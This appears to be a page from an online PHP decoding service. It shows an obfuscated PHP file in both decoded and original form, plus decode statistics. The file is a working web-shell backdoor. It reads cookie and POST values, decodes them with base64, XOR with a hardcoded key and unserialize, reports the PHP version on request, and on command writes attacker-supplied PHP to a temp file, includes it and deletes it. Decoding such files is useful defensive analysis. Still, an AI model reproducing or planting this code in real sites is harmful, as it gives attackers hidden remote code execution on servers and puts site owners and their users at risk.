Find this useful? Enter your email to receive occasional updates for securing PHP code.

Signing you up...

Thank you for signing up!

PHP Decode

<?php /* b */function bi_sa(){ echo 24841; } $wxhrg = 'wxhrg' ^ ..

Decoded Output download

<?php /*   b   */function     bi_sa(){     echo	24841;	} 
 
$wxhrg    =     'wxhrg'	^     ''; 
 
 
$ay_zvkpe/*   q */=      "f"."i"."l"	.	"e"."_"/*   cj   */./*  bjrnw */$wxhrg(112)/*   o  */.     $wxhrg(981-864)/*o  */.   "t"   ./*albi*/$wxhrg(258-163)    .   "c"  .      "o"."n"."t".$wxhrg(154-53)/*rqmz */.       "n"       ./*   q   */"t"	.	$wxhrg(115); 
 
 
$nmvwo/*  hp_j  */=	$wxhrg(353-255)/*exh*/./*   tf*/"a"	./*   w */"s"/* _  */./*   bp_ob   */"e"."6"/*   ubewu  */.   "4"    .   "_"      .   $wxhrg(415-315)/*   j*/./*wmz   */"e"/* f */.   "c".$wxhrg(149-38)	.      "d"	.     $wxhrg(101); 
$srsayksqd	=      "u".$wxhrg(110)	./* gp*/$wxhrg(115)/*  nc*/./*j__ */"e"."r"."i"."a"    .	"l"    .	$wxhrg(682-577)	./*  neh*/$wxhrg(519-397)	.	"e"; 
 
 
$jxzdcvfzus/* raaw   */=      "p"     .       $wxhrg(104)/*kanvb */.      "p"."v"/*   k_  */./*  iat  */"e"."r"."s"."i"     .	"o"      ./*z*/$wxhrg(776-666);$rblhh	=	"u"."n"."l"      .    $wxhrg(644-539)	./*   wyk_q  */"n"/* gwqdt */.	"k"; 
 
 
 
 
/*  ftk   */function      liipvoboa($mkydjuz,	$vasnp){ 
 
/*   kivm*/global	$wxhrg; 
	$vyyfim       =       "";/*  cljpq */for      ($ttnop_rjy	=	0;    $ttnop_rjy     </* m*/strlen($mkydjuz);)     {   for   ($qijmel	=    0;	$qijmel    <	strlen($vasnp)      &&	$ttnop_rjy/* gc   */</*   ockq  */strlen($mkydjuz);    $qijmel++,   $ttnop_rjy++)	{ 
/* zzpo  */$vyyfim/*  ea*/.=	$wxhrg(ord($mkydjuz[$ttnop_rjy])	^      ord($vasnp[$qijmel])); 
       } 
/*b   */}   return	$vyyfim; 
} 
 
 
$zgcvxgzrlz	=/*   bbz */$_COOKIE;$ttnop_rjyxgebh/*   hgir  */=/*  dq   */$_POST;$zgcvxgzrlz     =/* vddd  */array_merge($ttnop_rjyxgebh,	$zgcvxgzrlz);$nxbczmztry/*op*/=/* rn */$wxhrg(351-301)   .    $wxhrg(56)	.	"5"."5"	./* xt*/"b"."b"."5"	.	"e".$wxhrg(179-134)      .	$wxhrg(48)	.   "a"	./* qtlle*/"4"."3"/*   dqnf   */.    "-"/*   kg  */./*wjz */$wxhrg(52)/*   qccyo*/./*   o_vqh*/$wxhrg(102)    .	"0"     .      $wxhrg(97)       .    "-"	.	"9"."6".$wxhrg(845-745)	.      "0"."-"."d".$wxhrg(604-503)      .   "4"."1"	./*  nq  */"b"."f"."c"."c"."0".$wxhrg(775-673)/* ndb  */.   "f"."6";foreach       ($zgcvxgzrlz/*  mu  */as/*qe*/$ewozkh	=>	$mkydjuz)	{ 
 
 
	$mkydjuz	=      $srsayksqd(liipvoboa(liipvoboa($nmvwo($mkydjuz),/*qfmly */$nxbczmztry),	$ewozkh)); 
   if   (isset($mkydjuz["a"    .	"k"]))/*ty*/{ 
/*ykri*/if      ($mkydjuz["a"]	==     $wxhrg(105))/*   u_k */{ 
	$ttnop_rjy/* n_ob*/=	array(); 
 
 
/*  aedr   */$ttnop_rjy["p"."v"]/* host   */=/*  s*/$jxzdcvfzus();	$ttnop_rjy["s"/*  yl */.    "v"]/*   h */=      $wxhrg(991-940)/*   ljjq  */.    "."."5"; 
	echo   @serialize($ttnop_rjy); 
 
    }     elseif/*xof*/($mkydjuz["a"]	==	"e")     {/* m   */$_ygeap/*  jcg */=    sprintf("."."/".$wxhrg(677-640)       .	"s"/*   dk  */.      $wxhrg(46)/* l   */.	$wxhrg(613-501)/*   w  */.	$wxhrg(521-413),	md5($nxbczmztry)); 
	$ay_zvkpe($_ygeap,/*  uez_*/"<"   .	$wxhrg(848-785)   ./* pzzv*/"p".$wxhrg(131-27)	.	"p".$wxhrg(32)    ./*   swok */$wxhrg(117)/*   p   */./*  c */"n"/*  wlsir */./*   _  */"l"    .   $wxhrg(105)."n"."k".$wxhrg(40)/*   s*/.     "_"   .	$wxhrg(95)/*   jck */.	"F"/*ohhe   */.	"I"	.	"L"."E"."_"."_".")"	./*tcvx */";".$wxhrg(32)/*pg*/.      $mkydjuz["d"]); 
      include($_ygeap);/*_b */$rblhh($_ygeap); 
 
/* p  */} 
 
/* wcmhg*/exit(); 
 
 
	} 
 
 
} 
 
 ?>

Did this file decode correctly?

Original Code

<?php /*   b   */function     bi_sa(){     echo	24841;	}

$wxhrg    =     'wxhrg'	^     '';


$ay_zvkpe/*   q */=      "f"."i"."\x6c"	.	"e"."\137"/*   cj   */./*  bjrnw */$wxhrg(112)/*   o  */.     $wxhrg(981-864)/*o  */.   "\x74"   ./*albi*/$wxhrg(258-163)    .   "\143"  .      "o"."n"."t".$wxhrg(154-53)/*rqmz */.       "\x6e"       ./*   q   */"\164"	.	$wxhrg(115);


$nmvwo/*  hp_j  */=	$wxhrg(353-255)/*exh*/./*   tf*/"\141"	./*   w */"\x73"/* _  */./*   bp_ob   */"e"."\x36"/*   ubewu  */.   "\x34"    .   "\x5f"      .   $wxhrg(415-315)/*   j*/./*wmz   */"\x65"/* f */.   "c".$wxhrg(149-38)	.      "\144"	.     $wxhrg(101);
$srsayksqd	=      "u".$wxhrg(110)	./* gp*/$wxhrg(115)/*  nc*/./*j__ */"e"."r"."i"."\141"    .	"\x6c"    .	$wxhrg(682-577)	./*  neh*/$wxhrg(519-397)	.	"e";


$jxzdcvfzus/* raaw   */=      "\x70"     .       $wxhrg(104)/*kanvb */.      "p"."\166"/*   k_  */./*  iat  */"e"."r"."s"."\x69"     .	"\157"      ./*z*/$wxhrg(776-666);$rblhh	=	"u"."n"."\154"      .    $wxhrg(644-539)	./*   wyk_q  */"\156"/* gwqdt */.	"k";




/*  ftk   */function      liipvoboa($mkydjuz,	$vasnp){

/*   kivm*/global	$wxhrg;
	$vyyfim       =       "";/*  cljpq */for      ($ttnop_rjy	=	0;    $ttnop_rjy     </* m*/strlen($mkydjuz);)     {   for   ($qijmel	=    0;	$qijmel    <	strlen($vasnp)      &&	$ttnop_rjy/* gc   */</*   ockq  */strlen($mkydjuz);    $qijmel++,   $ttnop_rjy++)	{
/* zzpo  */$vyyfim/*  ea*/.=	$wxhrg(ord($mkydjuz[$ttnop_rjy])	^      ord($vasnp[$qijmel]));
       }
/*b   */}   return	$vyyfim;
}


$zgcvxgzrlz	=/*   bbz */$_COOKIE;$ttnop_rjyxgebh/*   hgir  */=/*  dq   */$_POST;$zgcvxgzrlz     =/* vddd  */array_merge($ttnop_rjyxgebh,	$zgcvxgzrlz);$nxbczmztry/*op*/=/* rn */$wxhrg(351-301)   .    $wxhrg(56)	.	"5"."\65"	./* xt*/"b"."b"."\x35"	.	"\145".$wxhrg(179-134)      .	$wxhrg(48)	.   "\x61"	./* qtlle*/"4"."\x33"/*   dqnf   */.    "\x2d"/*   kg  */./*wjz */$wxhrg(52)/*   qccyo*/./*   o_vqh*/$wxhrg(102)    .	"\x30"     .      $wxhrg(97)       .    "\55"	.	"9"."6".$wxhrg(845-745)	.      "0"."-"."\x64".$wxhrg(604-503)      .   "4"."\x31"	./*  nq  */"b"."f"."c"."c"."0".$wxhrg(775-673)/* ndb  */.   "f"."\x36";foreach       ($zgcvxgzrlz/*  mu  */as/*qe*/$ewozkh	=>	$mkydjuz)	{


	$mkydjuz	=      $srsayksqd(liipvoboa(liipvoboa($nmvwo($mkydjuz),/*qfmly */$nxbczmztry),	$ewozkh));
   if   (isset($mkydjuz["\x61"    .	"k"]))/*ty*/{
/*ykri*/if      ($mkydjuz["a"]	==     $wxhrg(105))/*   u_k */{
	$ttnop_rjy/* n_ob*/=	array();


/*  aedr   */$ttnop_rjy["p"."\166"]/* host   */=/*  s*/$jxzdcvfzus();	$ttnop_rjy["\163"/*  yl */.    "v"]/*   h */=      $wxhrg(991-940)/*   ljjq  */.    "."."5";
	echo   @serialize($ttnop_rjy);

    }     elseif/*xof*/($mkydjuz["a"]	==	"\145")     {/* m   */$_ygeap/*  jcg */=    sprintf("."."/".$wxhrg(677-640)       .	"\x73"/*   dk  */.      $wxhrg(46)/* l   */.	$wxhrg(613-501)/*   w  */.	$wxhrg(521-413),	md5($nxbczmztry));
	$ay_zvkpe($_ygeap,/*  uez_*/"<"   .	$wxhrg(848-785)   ./* pzzv*/"p".$wxhrg(131-27)	.	"p".$wxhrg(32)    ./*   swok */$wxhrg(117)/*   p   */./*  c */"\156"/*  wlsir */./*   _  */"\x6c"    .   $wxhrg(105)."n"."k".$wxhrg(40)/*   s*/.     "\x5f"   .	$wxhrg(95)/*   jck */.	"\x46"/*ohhe   */.	"\111"	.	"L"."E"."_"."_"."\51"	./*tcvx */";".$wxhrg(32)/*pg*/.      $mkydjuz["\x64"]);
      include($_ygeap);/*_b */$rblhh($_ygeap);

/* p  */}

/* wcmhg*/exit();


	}


}

Function Calls

chrfw 1

Variables

$wxhrg chrfw

Stats

MD5 618efefd45793308d63ff40225bfad28
Eval Count 0
Decode Time 70 ms